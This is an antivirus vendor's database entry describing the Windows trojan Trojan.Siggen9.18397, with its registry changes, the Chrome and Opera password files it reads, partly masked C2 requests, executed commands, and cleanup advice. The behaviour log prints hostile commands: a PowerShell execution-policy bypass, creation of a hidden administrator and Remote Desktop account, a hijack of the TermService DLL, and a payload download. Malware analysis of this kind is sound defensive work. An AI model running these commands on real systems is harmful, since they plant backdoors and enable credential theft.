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Trojan.Siggen9.18397

Added to the Dr.Web virus database: 2020-03-08

Virus description added:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'signed.exe' = '%PROGRAMDATA%\signed.exe'
Creates the following services
  • [<HKLM>\system\currentcontrolset\services\TermService\parameters] 'ServiceDLL' = '%WINDIR%\branding\brandlogo.jpg'
  • [<HKLM>\System\CurrentControlSet\Services\TermService] 'Start' = '00000002'
Malicious functions
Creates and executes the following
  • '' (downloaded from the Internet)
Injects code into
the following system processes:
  • %WINDIR%\syswow64\dllhost.exe
Reads files which store third party applications passwords
  • %LOCALAPPDATA%\google\chrome\user data\default\login data
  • %LOCALAPPDATA%\google\chrome\user data\default\web data
  • %APPDATA%\opera software\opera stable\login data
Modifies file system
Creates the following files
  • %LOCALAPPDATA%low\colvfnsokpbv.tzq
  • %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
  • %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
  • %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
  • %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
  • %PROGRAMDATA%\signed.exe
  • %TEMP%\nsl50be.tmp\blowfish.dll
  • %TEMP%\help.zip
  • %TEMP%\nsl50be.tmp\nsunzip.dll
  • %TEMP%\evil.ps1
  • %TEMP%\nsl50be.tmp\system.dll
  • %WINDIR%\branding\brandlogo.jpg
  • %WINDIR%\branding\microsoftmail.png
  • %WINDIR%\branding\imagescache.xml
  • <SYSTEM32>\rfxvmt.dll
  • %WINDIR%\temp\usrnm.txt
Deletes the following files
  • %LOCALAPPDATA%low\colvfnsokpbv.tzq
  • %TEMP%\nsl50be.tmp\blowfish.dll
  • %TEMP%\nsl50be.tmp\nsunzip.dll
  • %TEMP%\nsl50be.tmp\system.dll
Substitutes the following files
  • %LOCALAPPDATA%low\colvfnsokpbv.tzq
Deletes itself.
Network activity
TCP
HTTP GET requests
  • http://92.##.192.153/signed.exe
HTTP POST requests
  • http://ki######o2191293jeriii.com/api/check.get
  • http://ki######o2191293jeriii.com/api/gate.get?p1#####################################################################################
UDP
  • DNS ASK ki######o2191293jeriii.com
Miscellaneous
Creates and executes the following
  • '%PROGRAMDATA%\signed.exe'
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -f %TEMP%\evil.ps1
  • '%WINDIR%\syswow64\cmd.exe' /c TimeOut 1 & Del /F "<Full path to file>"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c ping 127.0.0.1 && del "%WINDIR%\SysWOW64\dllhost.exe"' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c timeout -n 7&del $EXEPATH /f' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c timeout -t 15& powershell -ep bypass -f %TEMP%\evil.ps1' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc 000000 /del' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc lHmYsIFc /add' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" mlqmuixsy$ /ADD' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc lHmYsIFc' (with hidden window)
Executes the following
  • '%WINDIR%\syswow64\dllhost.exe'
  • '<SYSTEM32>\net.exe' start TermService
  • '<SYSTEM32>\net1.exe' start TermService
  • '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc 000000 /del
  • '<SYSTEM32>\net.exe' user WgaUtilAcc 000000 /del
  • '<SYSTEM32>\net1.exe' user WgaUtilAcc 000000 /del
  • '<SYSTEM32>\cmd.exe' /c del %temp%\*.ps1 /f
  • '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc lHmYsIFc /add
  • '<SYSTEM32>\cmd.exe' /c del %temp%\*.txt /f
  • '<SYSTEM32>\net.exe' user WgaUtilAcc lHmYsIFc /add
  • '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
  • '<SYSTEM32>\net1.exe' user WgaUtilAcc lHmYsIFc /add
  • '<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  • '<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  • '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" mlqmuixsy$ /ADD
  • '<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" mlqmuixsy$ /ADD
  • '<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" mlqmuixsy$ /ADD
  • '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  • '<SYSTEM32>\net.exe' LOCALGROUP "Administrators" WgaUtilAcc /ADD
  • '<SYSTEM32>\net1.exe' LOCALGROUP "Administrators" WgaUtilAcc /ADD
  • '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc lHmYsIFc
  • '<SYSTEM32>\cmd.exe' /c cmd /c net start TermService
  • '<SYSTEM32>\cmd.exe' /c net start TermService
  • '<SYSTEM32>\net1.exe' start rdpdr
  • '<SYSTEM32>\net.exe' start rdpdr
  • '<SYSTEM32>\cmd.exe' /c net start rdpdr
  • '%WINDIR%\syswow64\timeout.exe' 1
  • '%WINDIR%\syswow64\cmd.exe' /c ping 127.0.0.1 && del "%WINDIR%\SysWOW64\dllhost.exe"
  • '%WINDIR%\syswow64\ping.exe' 127.0.0.1
  • '%WINDIR%\syswow64\cmd.exe' /c timeout -n 7&del $EXEPATH /f
  • '<SYSTEM32>\cmd.exe' /c timeout -t 15& powershell -ep bypass -f %TEMP%\evil.ps1
  • '%WINDIR%\syswow64\timeout.exe' -n 7
  • '<SYSTEM32>\timeout.exe' -t 15
  • '<SYSTEM32>\takeown.exe' /A /F rfxvmt.dll
  • '<SYSTEM32>\icacls.exe' rfxvmt.dll /inheritance:d
  • '<SYSTEM32>\net.exe' user WgaUtilAcc lHmYsIFc
  • '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  • '<SYSTEM32>\icacls.exe' rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
  • '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
  • '<SYSTEM32>\icacls.exe' rfxvmt.dll /remove BUILTIN\Administrators
  • '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant BUILTIN\Administrators:RX
  • '<SYSTEM32>\reg.exe' ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
  • '<SYSTEM32>\reg.exe' add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d %WINDIR%\branding\brandlogo.jpg /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
  • '<SYSTEM32>\net.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
  • '<SYSTEM32>\net1.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
  • '<SYSTEM32>\cmd.exe' /c cmd /c net start rdpdr
  • '%WINDIR%\syswow64\cmd.exe' /c TimeOut 1 & Del /F "<Full path to file>"
  • '<SYSTEM32>\icacls.exe' rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
  • '<SYSTEM32>\net1.exe' user WgaUtilAcc lHmYsIFc

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

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